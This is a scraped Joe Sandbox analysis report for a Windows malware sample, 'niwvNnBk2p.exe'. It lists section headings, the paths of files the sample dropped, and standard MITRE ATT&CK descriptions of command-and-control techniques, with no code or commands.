Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\72QWSV0N4LEVXR18OCAY5450.exe.log

C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
niwvNnBk2p.exe

Function 04F00D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04F00D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04F01510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04F01509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Function 04F01301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04F01308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre